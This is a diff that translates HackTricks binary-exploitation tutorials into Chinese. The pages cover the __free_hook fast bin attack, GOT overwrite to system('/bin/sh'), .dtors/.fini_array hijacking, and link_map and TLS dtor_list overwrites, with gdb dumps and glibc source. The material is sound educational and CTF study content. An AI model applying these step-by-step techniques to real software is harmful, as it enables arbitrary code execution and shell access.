-In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
+在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。
-Now a **fast bin attack** is performed:
+现在进行一个 **fast bin attack**:
-- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
+- 首先发现可以在 **`__free_hook`** 位置处理大小为 200 的快速 **chunks**:
-
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
-- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
-- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
-- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
-- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+
+- 如果我们能够在这个位置获取一个大小为 0x200 的快速 chunk,就可以覆盖一个将被执行的函数指针
+- 为此,创建一个大小为 `0xfc` 的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。
+- 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。
+- 接着,创建一个大小为 `0x1f8` 的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为 `0x1f8` 的 chunk,以在 **`__free_hook`** 中获取一个快速 bin chunk,并用 **`system`** 函数的地址覆盖它。
+- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk,调用删除函数,触发指向系统的 **`__free_hook`** 函数,参数为 `/bin/sh\x00`。
-## References
+## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
index ad09ee48e..d44c1b806 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -2,63 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
-## **Basic Information**
+## **基本信息**
-### **GOT: Global Offset Table**
+### **GOT: 全局偏移表**
-The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
+**全局偏移表 (GOT)** 是一种用于动态链接二进制文件的机制,用于管理 **外部函数的地址**。由于这些 **地址在运行时才会被知道**(由于动态链接),GOT 提供了一种方法来 **在解析后动态更新这些外部符号的地址**。
-Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
+GOT 中的每个条目对应于二进制文件可能调用的外部库中的一个符号。当 **函数第一次被调用时,其实际地址由动态链接器解析并存储在 GOT 中**。对同一函数的后续调用使用存储在 GOT 中的地址,从而避免了再次解析地址的开销。
-### **PLT: Procedure Linkage Table**
+### **PLT: 过程链接表**
-The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
+**过程链接表 (PLT)** 与 GOT 密切合作,作为处理对外部函数调用的跳板。当二进制文件 **第一次调用外部函数时,控制权会传递给与该函数关联的 PLT 中的一个条目**。这个 PLT 条目负责调用动态链接器来解析函数的地址,如果该地址尚未被解析。地址解析后,它会存储在 **GOT** 中。
-**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
+**因此,** 一旦外部函数或变量的地址被解析,GOT 条目就会被直接使用。**PLT 条目用于通过动态链接器促进这些地址的初始解析**。
-## Get Execution
+## 获取执行
-### Check the GOT
+### 检查 GOT
-Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
+获取 GOT 表的地址:**`objdump -s -j .got ./exec`**
.png>)
-Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
+观察在 GEF 中 **加载** **可执行文件** 后,您可以 **看到** **GOT** 中的 **函数**:`gef➤ x/20x 0xADDR_GOT`
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
-Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
+使用 GEF,您可以 **开始** 一个 **调试** 会话并执行 **`got`** 以查看 GOT 表:
.png>)
### GOT2Exec
-In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
+在二进制文件中,GOT 包含 **函数的地址或** 指向将加载函数地址的 **PLT** 部分。这个任意写入的目标是 **覆盖一个将要被执行的函数的 GOT 条目**,例如用 **`system`** **函数** 的 **PLT** 地址。
-Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
+理想情况下,您将 **覆盖** 一个 **将被调用并由您控制参数的函数**(这样您就可以控制传递给系统函数的参数)。
-If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
+如果 **`system`** **未被** 二进制文件使用,系统函数 **将不会** 在 PLT 中有条目。在这种情况下,您需要 **首先泄漏 `system` 函数的地址**,然后覆盖 GOT 以指向该地址。
-You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
+您可以使用 **`objdump -j .plt -d ./vuln_binary`** 查看 PLT 地址。
-## libc GOT entries
+## libc GOT 条目
-The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+**libc 的 GOT** 通常编译为 **部分 RELRO**,这使其成为一个不错的目标,假设可以找出其地址([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。
-Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
+libc 的常见函数将调用 **其他内部函数**,其 GOT 可以被覆盖以获得代码执行。
-Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
+在这里找到 [**更多关于此技术的信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)。
### **Free2system**
-In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
+在堆利用 CTF 中,通常可以控制块的内容,并在某些时候甚至覆盖 GOT 表。如果没有可用的 RCE gadget,一个简单的技巧是将 `free` GOT 地址覆盖为指向 `system`,并在一个块中写入 `"/bin/sh"`。这样,当这个块被释放时,它将执行 `system("/bin/sh")`。
### **Strlen2system**
-Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
+另一种常见技术是将 **`strlen`** GOT 地址覆盖为指向 **`system`**,因此如果此函数使用用户输入被调用,则可以传递字符串 `"/bin/sh"` 并获得一个 shell。
-Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
+此外,如果 `puts` 使用用户输入,则可以将 `strlen` GOT 地址覆盖为指向 `system`,并传递字符串 `"/bin/sh"` 以获得一个 shell,因为 **`puts` 将使用用户输入调用 `strlen`**。
## **One Gadget**
@@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
-## **Abusing GOT from Heap**
+## **从堆滥用 GOT**
-A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
-Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
+从堆漏洞获得 RCE 的一种常见方法是滥用 fastbin,以便可以将 GOT 表的一部分添加到 fast bin 中,因此每当分配该块时,就可以 **覆盖一个函数的指针,通常是 `free`**。\
+然后,将 `free` 指向 `system`,并释放一个写入了 `/bin/sh\x00` 的块将执行一个 shell。
-It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
+可以在这里找到一个 [**示例**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。**
-## **Protections**
+## **保护**
-The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
+**完全 RELRO** 保护旨在通过在二进制文件启动时解析所有函数的地址并在之后使 **GOT 表只读** 来防止这种技术:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
-## References
+## 参考
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
index 31e45fba4..82c1a5601 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
@@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
-> Nowadays is very **weird to find a binary with a .dtors section!**
+> 现在找到一个带有 .dtors 部分的二进制文件是非常**奇怪的**!
-The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
-The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
-
-Get the address of this section with:
+析构函数是在程序结束之前(在 `main` 函数返回后)**执行**的函数。\
+这些函数的地址存储在二进制文件的 **`.dtors`** 部分,因此,如果你设法将 **地址** 写入 **`__DTOR_END__`** 的 **shellcode**,那么它将在程序结束之前被 **执行**。
+获取此部分的地址:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
-
-Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
+通常,您会在值 `ffffffff` 和 `00000000` 之间找到 **DTOR** 标记。因此,如果您只看到这些值,这意味着 **没有注册任何函数**。所以 **用** **shellcode** 的 **地址** **覆盖** **`00000000`** 以执行它。
> [!WARNING]
-> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
+> 当然,您首先需要找到一个 **存储 shellcode 的地方** 以便稍后调用它。
## **.fini_array**
-Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
-
+本质上,这是一个在程序结束之前会被调用的 **函数** 结构,类似于 **`.dtors`**。如果您可以通过 **跳转到一个地址** 来调用您的 **shellcode**,或者在需要 **再次返回 `main`** 以 **第二次利用漏洞** 的情况下,这一点很有趣。
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
- 8049934 a0850408
+8049934 a0850408
#Put your address in 0x8049934
```
+注意,当执行 **`.fini_array`** 中的一个函数时,它会移动到下一个函数,因此不会被多次执行(防止永恒循环),但它只会给你在这里放置的 1 次 **函数执行**。
-Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
+注意,`.fini_array` 中的条目是按 **反向** 顺序调用的,因此你可能想从最后一个开始写。
-Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
+#### 永恒循环
-#### Eternal loop
+为了利用 **`.fini_array`** 造成一个永恒循环,你可以 [**查看这里做了什么**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** 如果你在 **`.fini_array`** 中至少有 2 个条目,你可以:
-In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
-
-- Use your first write to **call the vulnerable arbitrary write function** again
-- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
+- 使用你的第一次写入来 **再次调用易受攻击的任意写入函数**
+- 然后,计算由 **`__libc_csu_fini`** 存储在栈中的返回地址(调用所有 `.fini_array` 函数的函数),并将 **`__libc_csu_fini`** 的 **地址** 放在那里
+- 这将使 **`__libc_csu_fini`** 再次调用自己,执行 **`.fini_array`** 函数,这将使易受攻击的 WWW 函数被调用 2 次:一次用于 **任意写入**,另一次用于再次覆盖栈上 **`__libc_csu_fini`** 的返回地址以再次调用自己。
> [!CAUTION]
-> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
-> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
+> 注意,在 [**完全 RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** 部分 **`.fini_array`** 被设置为 **只读**。
+> 在较新的版本中,即使是 [**部分 RELRO**],部分 **`.fini_array`** 也被设置为 **只读**。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index 97c286231..ed9d959f6 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -1,39 +1,38 @@
-# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
+# WWW2Exec - atexit(), TLS存储和其他混淆指针
{{#include ../../banners/hacktricks-training.md}}
-## **\_\_atexit Structures**
+## **\_\_atexit 结构**
> [!CAUTION]
-> Nowadays is very **weird to exploit this!**
+> 现在利用这个是非常**奇怪的!**
-**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
-If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
-Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
-The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
+**`atexit()`** 是一个函数,**其他函数作为参数传递给它。** 这些 **函数** 将在执行 **`exit()`** 或 **main** 的 **返回** 时被 **执行**。\
+如果你能 **修改** 任何这些 **函数** 的 **地址** 使其指向一个 shellcode,例如,你将 **获得对进程的控制**,但这目前更复杂。\
+目前要执行的 **函数地址** 被 **隐藏** 在几个结构后,最终指向的地址不是函数的地址,而是 **用 XOR 加密** 和 **随机密钥** 的位移。因此,目前这个攻击向量在 **x86** 和 **x64_86** 上 **不是很有用**。\
+**加密函数** 是 **`PTR_MANGLE`**。 **其他架构** 如 m68k、mips32、mips64、aarch64、arm、hppa... **不实现加密** 函数,因为它 **返回与输入相同** 的内容。因此,这些架构可以通过这个向量进行攻击。
-You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
+你可以在 [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) 找到关于这个如何工作的详细解释。
## link_map
-As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
+如 [**在这篇文章中**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure) 所述,如果程序通过 `return` 或 `exit()` 退出,它将运行 `__run_exit_handlers()`,这将调用注册的析构函数。
> [!CAUTION]
-> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
-
-The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
+> 如果程序通过 **`_exit()`** 函数退出,它将调用 **`exit` syscall**,并且退出处理程序将不会被执行。因此,为了确认 `__run_exit_handlers()` 被执行,你可以在它上面设置一个断点。
+重要代码是 ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
- {
- ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
- size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
+{
+ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
+size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
- while (sz-- > 0)
- ((fini_t) array[sz]) ();
- }
- [...]
+while (sz-- > 0)
+((fini_t) array[sz]) ();
+}
+[...]
@@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
- Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
- Elf64_Addr d_ptr; // offset from l->l_addr of our structure
+Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
+Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
+注意 `map -> l_addr + fini_array -> d_un.d_ptr` 是如何用来**计算**要调用的**函数数组**的位置的。
-Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
+有**几种选择**:
-There are a **couple of options**:
-
-- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
-- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.
- - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
-
-Following the previous code you can find another interesting section with the code:
+- 覆盖 `map->l_addr` 的值,使其指向一个**假的 `fini_array`**,其中包含执行任意代码的指令
+- 覆盖 `l_info[DT_FINI_ARRAY]` 和 `l_info[DT_FINI_ARRAYSZ]` 条目(在内存中大致是连续的),使它们**指向一个伪造的 `Elf64_Dyn`** 结构,这将使**`array` 再次指向攻击者控制的内存**区域。
+- [**这个写作**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) 用一个控制的内存地址覆盖 `l_info[DT_FINI_ARRAY]`,该地址在 `.bss` 中包含一个假的 `fini_array`。这个假数组首先包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **地址**,将被执行,然后是这个**假数组**的地址与**`map->l_addr`**的值之间的**差值**,使得 `*array` 指向假数组。
+- 根据该技术的主要帖子和[**这个写作**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet),ld.so 在栈上留下一个指向 ld.so 中二进制 `link_map` 的指针。通过任意写入,可以覆盖它并使其指向一个由攻击者控制的假 `fini_array`,其中包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)的地址,例如。
+在前面的代码之后,您可以找到另一个有趣的代码部分:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
- DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
+DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
+在这种情况下,可以覆盖指向伪造的 `ElfW(Dyn)` 结构的 `map->l_info[DT_FINI]` 的值。找到 [**更多信息这里**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。
-In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
+## 在 **`__run_exit_handlers`** 中覆盖 TLS-Storage dtor_list
-## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
-
-As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
-
-Code from `_run_exit_handlers()`:
+正如 [**这里解释的**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite),如果程序通过 `return` 或 `exit()` 退出,它将执行 **`__run_exit_handlers()`**,该函数将调用任何注册的析构函数。
+来自 `_run_exit_handlers()` 的代码:
```c
/* Call all functions registered with `atexit' and `on_exit',
- in the reverse of the order in which they were registered
- perform stdio cleanup, and terminate program execution with STATUS. */
+in the reverse of the order in which they were registered
+perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
- bool run_list_atexit, bool run_dtors)
+bool run_list_atexit, bool run_dtors)
{
- /* First, call the TLS destructors. */
+/* First, call the TLS destructors. */
#ifndef SHARED
- if (&__call_tls_dtors != NULL)
+if (&__call_tls_dtors != NULL)
#endif
- if (run_dtors)
- __call_tls_dtors ();
+if (run_dtors)
+__call_tls_dtors ();
```
-
-Code from **`__call_tls_dtors()`**:
-
+**`__call_tls_dtors()`** 的代码:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
- dtor_func func;
- void *obj;
- struct link_map *map;
- struct dtor_list *next;
+dtor_func func;
+void *obj;
+struct link_map *map;
+struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
- initial function or when the process exits via the exit function. */
+initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
- while (tls_dtor_list) // parse the dtor_list chained structures
- {
- struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
- dtor_func func = cur->func;
- PTR_DEMANGLE (func); // demangle the function ptr
+while (tls_dtor_list) // parse the dtor_list chained structures
+{
+struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
+dtor_func func = cur->func;
+PTR_DEMANGLE (func); // demangle the function ptr
- tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
- func (cur->obj);
- [...]
- }
+tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
+func (cur->obj);
+[...]
+}
}
```
+对于 **`tls_dtor_list`** 中的每个注册函数,它将从 **`cur->func`** 解码指针,并使用参数 **`cur->obj`** 调用它。
-For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
-
-Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
-Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
-
-Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
+使用这个 [**GEF 的分支**](https://github.com/bata24/gef) 中的 **`tls`** 函数,可以看到实际上 **`dtor_list`** 非常 **接近** **栈保护** 和 **PTR_MANGLE cookie**。因此,通过对其进行溢出,可以 **覆盖** **cookie** 和 **栈保护**。\
+覆盖 PTR_MANGLE cookie,将其设置为 0x00,将意味着用于获取真实地址的 **`xor`** 只是配置的地址。然后,通过写入 **`dtor_list`**,可以 **链接多个函数** 及其 **地址** 和 **参数**。
+最后注意,存储的指针不仅会与 cookie 进行异或运算,还会旋转 17 位:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
+在添加新地址之前,您需要考虑这一点。
-So you need to take this into account before adding a new address.
+在[**原始帖子**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)中找到一个示例。
-Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
+## **`__run_exit_handlers`** 中的其他损坏指针
-## Other mangled pointers in **`__run_exit_handlers`**
-
-This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
-
-Let's check more code of this function:
+此技术在[**这里解释**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite),并再次依赖于程序**退出调用 `return` 或 `exit()`**,因此调用**`__run_exit_handlers()`**。
+让我们检查一下该函数的更多代码:
```c
- while (true)
- {
- struct exit_function_list *cur;
+while (true)
+{
+struct exit_function_list *cur;
- restart:
- cur = *listp;
+restart:
+cur = *listp;
- if (cur == NULL)
- {
- /* Exit processing complete. We will not allow any more
- atexit/on_exit registrations. */
- __exit_funcs_done = true;
- break;
- }
+if (cur == NULL)
+{
+/* Exit processing complete. We will not allow any more
+atexit/on_exit registrations. */
+__exit_funcs_done = true;
+break;
+}
- while (cur->idx > 0)
- {
- struct exit_function *const f = &cur->fns[--cur->idx];
- const uint64_t new_exitfn_called = __new_exitfn_called;
+while (cur->idx > 0)
+{
+struct exit_function *const f = &cur->fns[--cur->idx];
+const uint64_t new_exitfn_called = __new_exitfn_called;
- switch (f->flavor)
- {
- void (*atfct) (void);
- void (*onfct) (int status, void *arg);
- void (*cxafct) (void *arg, int status);
- void *arg;
+switch (f->flavor)
+{
+void (*atfct) (void);
+void (*onfct) (int status, void *arg);
+void (*cxafct) (void *arg, int status);
+void *arg;
- case ef_free:
- case ef_us:
- break;
- case ef_on:
- onfct = f->func.on.fn;
- arg = f->func.on.arg;
- PTR_DEMANGLE (onfct);
+case ef_free:
